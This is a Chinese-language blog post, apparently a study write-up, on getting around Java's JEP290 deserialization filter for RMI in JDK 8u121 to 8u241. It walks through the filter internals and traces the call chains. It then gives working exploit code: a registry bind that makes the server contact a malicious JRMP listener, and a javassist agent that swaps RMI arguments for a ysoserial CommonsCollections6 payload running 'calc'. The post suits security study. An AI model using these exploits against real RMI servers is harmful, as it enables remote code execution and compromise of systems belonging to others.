JEP290的绕过学习

前置

什么是JEP290:
JEP290是一个规范是为了应对反序列设置的一种过滤器。
适用的范围:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290的作用:

  • 提供限制反序列类的机制 黑白名单
  • 限制反序列的深度和复杂度
  • 定义一个可配置的过滤机制,比如通过配置properties文件来定义过滤器
  • 为RMI提供验证机制

JEP290限制情况:

  • 反序列时数组元素数
  • 嵌套的深度
  • 数量对象的引用数量
  • 消耗的字节数

核心类

JEP290涉及的核心类有ObjectInputStream类。ObjectInputFilter接口,Config静态类以及Global静态类。其中ConfigObjectInputFilter接口的内部类。Global类又是Config类的内部类。

ObjectInputStream

JEP290进行过滤具体实现就是在ObjectInputStream 类中增加了一个serialFilter属性和一个 filterCheck 函数,两者搭配来实现过滤的。
serialFilter属性
它就是一个ObjectInputFilter接口类型
filterCheck函数
他首先会判断seriaFilter判断不为空进行后续过滤操作,然后将我们的信息封装为FilterValues对象传入到seriaFilter.checkInput返回值为ObjectInputFilter.Status类型。然后再判断Status的值 如果为NULL或者其他就报错了。
所以配置过滤逻辑也是在ObjectInputStream#filterCheck然后配置过滤器就是设置serialFilter并且在ObjectInputStream构造函数中赋值为ObjectInputFilter#Config静态类的serialFilter字段。

ObjectInputFilter接口

在低于JDK9和高于JDK9的时候两个类的地址和方法是不一样的。
image.png
然后一共静态类///一个接口///一个枚举类///。从注解可以知道的是他是一个函数式接口。
函数式接口:一个有且仅有一个抽象方法
函数式接口的赋值:lambda表达式或者方法引用,或者赋值实现了这个接口的对象。

Config静态类

configuredFilter

configuredFilter是一个静态字段,所以调用Config 就会触发configuredFilter的赋值行为
image.png
这个赋值第一种也是先根据JVM第二种则是指定文件。当然JVM是优先。

createFilter

他会调用Global.createFilter方法,然后返回Global对象的filters字段、、Global就是对JEP290字符串解析到他上面。
image.png

Config类总结

Config 静态类在初始化的时候,会将Config.serialFilter 赋值为一个Global对象,这个Global 对象的filters字段值是jdk.serailFilter属性对应的 Function 列表
而 ObjectInputStream 的构造函数中,正好取的就是 Config.serialFilter 这个静态字段 , 所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器
Global 类的一个重要特征是实现了 `ObjectInputFilter 接口,实现了其中的 checkInput 方法。所以 Global 类可以直接赋值到 ObjectInputStream.serialFilter 上。

RegistryImpl与JEP290

在jep290后面增加了filter进行过滤 全局搜索我们可以知道
image.png
oldDispatch中增加了unmarshalCustomCallData而这个方法正是设置我们局部filter
image.png
而这个filter哪里来的呢
image.png
是在UnicastServerRef传递过来的
而创建注册中心的时候是需要调用它的
image.png
registryFilter是这样的
image.png
image.png
然后回到第一步的skel 然后会去找到RegistryImpl_Skel#dispatch然后去看我们到底是什么bind等
然后进行反序列化然后就会进行一系列的过滤操作。

DGClmpl

和上面原理类似 这是过滤的一些东西
image.png

bypass 8u121-8u231

image.png
UnicastRef 是在白名单上的,RMI Server 或者 Client 和 Registry 的通信就基于它。
我们在执行lookup 以及bind的等操作的时候 实际上都是要先从TCPEndpoint->LiveRef->UnicastRef进一步的封装处理的。

因为我们生成一个实现了Remote继承了UnicastRemoteObject的类对象的话。他就会自动封装我们的IP 以及objId以及一个随机化端口 封装起来 为了和他进行一个通信。

RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:
因为他的readobject方法实现了ref.readExternal(in);
因为ref是我们UnincastRef 所以直接去寻找
image.png
image.png
host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法。建立了一个 TCPEndpoint 到 ArrayList的映射关系。
然后把这一步其实是在RegistryImpl_Skle#dispatch中完成了 因为我们知道 服务端监听后 会等待连接->进入transport->serviceCall->dipatch去处理。因为是lookup我们写的demo
image.png
63行也就是我们上面说的步骤 然后进入67行也就是StreamRemoteCall#releaseInputStream方法
在这里我们会调到this.in.registerRefs();这里的 this.in就是上文中提到的存储了 LiveRef 对象的那个 ConnectionInputStream 对象
image.png
然后进行了一波lookup操作
image.png
获取到lookp完的对象是一个DGCClient.EndpointEntry对象进而调用registerRefs
最终调到this.makeDirtyCall(var2, var3);-> DGCImpl_Stub.dirty
这里说一下 什么使用会调用dirty[当客户端对远程对象进行unmarshaled时,会调用dirty]
image.png
然后进行了invoke
image.png
执行executeCall 一般来说执行 是处理返回结果的 这里异常了 直接进入case 2进行反序列化我们恶意传输的数据
导致的rce
image.png
调用链如下

客户端发送数据 --> ...
    UnicastServerRef#dispatch -->
        UnicastServerRef#oldDispatch --> 
            RegistryImpl_Skle#dispatch --> RemoteObject#readObject
                StreamRemoteCall#releaseInputStream -->
                    ConnectionInputStream#registerRefs -->
                        DGCClient#registerRefs -->
                            DGCClient$EndpointEntry#registerRefs -->
                                DGCClient$EndpointEntry#makeDirtyCall -->
                                    DGCImpl_Stub#dirty --> 
                                        UnicastRef#invoke --> (RemoteCall var1)
                                            StreamRemoteCall#executeCall --> 
                                                ObjectInputSteam#readObject --> "pwn"

emm 正常的话是OK的是1 我也不知道 为啥他走2 。。没研究出来 这样子就反序列化
所以关键在于:通过反序列化将Registry 变为 JRMP 客户端,向 JRMPListener 发起 JRMP 请求。
image.png
所以我们的exp如下:

package RMI;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class bypass_rmi121 {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.getRegistry(9999);


        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 8888);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
//        HelloImpl hello = new HelloImpl(ref);
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        // lookup方法也可以,但需要手动模拟lookup方法的流程
        registry.bind("pwn", handler);
//        registry.bind("pwn", hello);
    }
}

Bypass 8u231~8u241

在上面的修复方案中就是在ditry中增加了如下
image.png
而我们的最终要用到的类是javax.management.BadAttributeValueExpException 因为我们就是会出现异常最终到这个类罢了。
image.png
所以基于上面的我们要找到一些新的。上面bypass原理其实不是反序列化而是递归触发了反序列化,通过DGCCliet向JRMPListener发起JRMP请求,而下面bypass231这条gadget是直接利用一次反序列化发起JRMP请求。
调用链如下:

客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
    UnicastRemoteObject#readObject -->
        UnicastRemoteObject#reexport -->
            UnicastRemoteObject#exportObject --> overload
                UnicastRemoteObject#exportObject -->
                    UnicastServerRef#exportObject --> ...
                            TCPTransport#listen -->
                                TcpEndpoint#newServerSocket -->
                                    RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
                                        RemoteObjectInvocationHandler#invoke -->
                                            RemoteObjectInvocationHandler#invokeMethod -->
                                                UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
                                                    StreamRemoteCall#executeCall --> 
                                                        ObjectInputSteam#readObject --> "pwn"

UnicastRemoteObject 作为反序列化的入口,
UnicastRemoteObject#readObject:
image.png
image.png
主要ssf 因为后面我们需要用到他的。继续跟进然后发现是赋值给了ref
image.png
然后一直export到 listen 这里和创建一个register 没什么太大的区别。
进入listen 注意观察newServerSocks
image.png
image.png
var1是什么 也就是我们ssf赋值过去的 一个代理对象 所以执行方法会调用invoke
var1是RemoteObjectInvocationHandler封装的对象 所以先调用的是他
image.png
然后进一步调用到unicastref.invoke
image.png
image.png
其中我们中途需要将我们的 对象以及名字 序列化 。但是本地在 bind 或者 rebind 一个对象的时候,在序列化对象的时候会来到 MarshalOutputStream#replaceObject 方法:
image.png
原先的 UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler,自然到服务端就无法触发 UnicastRemoteObject#readObject 方法。
解决方案是自己重写一下 RegistryImpl#bind 方法,在序列化之前通过反射 ObjectInputStream,修改 enableReplace 为 false

通过rasp bypass[原理object参数]

我们知道如果当服务器使用的是object接收参数的话。是可以无视jep290的 然而当我们获取到注册中心之后
我们传入参数的时候其实的可以hook 我们参数的类型进而传递过去的。因此可以用恶意对象替换从Object类派生的参数(例如String)
image.png
图来自afanti师傅
image.png
agent

package rasp;

import java.lang.instrument.Instrumentation;

public class agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("first"+agentArgs);
        inst.addTransformer(new Hook_RemoteMethod());
    }
}

Hook_RemoteMethod

package rasp;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hook_RemoteMethod implements ClassFileTransformer{
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if ("java/rmi/server/RemoteObjectInvocationHandler".equals(className)) {
            try {
                // 从ClassPool获得CtClass对象
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("java.rmi.server.RemoteObjectInvocationHandler");
                CtMethod convertToAbbr = clazz.getDeclaredMethod("invokeRemoteMethod");
                String methodBody = "{System.out.println(\"this is invokemethod?\");\n" +
                    "Class aClass = Class.forName(\"ysoserial.payloads.CommonsCollections6\",true,ClassLoader.getSystemClassLoader());\n" +
                    "Object o = aClass.newInstance();\n" +
                    "Object getObject = aClass.getMethod(\"getObject\", new Class[]{String.class}).invoke(o, new Object[]{\"calc\"});\n" +
                    "java.lang.Object[] objects = new Object[1];\n" +
                    "objects[0]=getObject;\n" +
                    "return ref.invoke((java.rmi.Remote) $1, $2,objects,getMethodHash($2));}";
                convertToAbbr.setBody(methodBody);

                // 返回字节码,并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的对象移除,如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
        // 如果返回null则字节码不会被修改
    }
}
  • Class.forName是需要指定ClassLoader的。不然为NULL
  • [source error] no such class Method错误是需要制定全限定名称
  • javassit是不支持可变参数传参 not found in java.lang.Class 异常 修改如下代码即可
getDeclaredMethod("defineClass",byte[].class,Integer.TYPE, Integer.TYPE);
修改如下:
getDeclaredMethod("defineClass", new Class[]{byte[].class,Integer.TYPE, Integer.TYPE});

invoke(ClassLoader.getSystemClassLoader(), classBytes,0,classBytes.length);
修改如下
invoke(ClassLoader.getSystemClassLoader(), new Object[]{classBytes,0,classBytes.length});


虽然报错也是没有任何问题的。把yso.jar添加依赖即可使用。
241之后也是修复了
image.png

241后修复

jdk8u241修复主要是在后面的调用RemoteObjectInvocationHandler#invokeRemoteMethod中:
image.png
以及针对string类型
RegistryImpl_Skel#dispatch#case 2
image.png
经过以下调用栈最后会判断我们的type是不是string
image.png
image.png
点我代码下载__删除png_zip打开

阅读

https://xz.aliyun.com/t/10170#toc-23
https://blog.csdn.net/qq_35029061/article/details/126160669
https://paper.seebug.org/1251/#rmijdk
https://blog.csdn.net/qsort_/article/details/104861625
posted @ 2022-10-06 13:02  R0ser1  阅读(305)  评论(0编辑  收藏  举报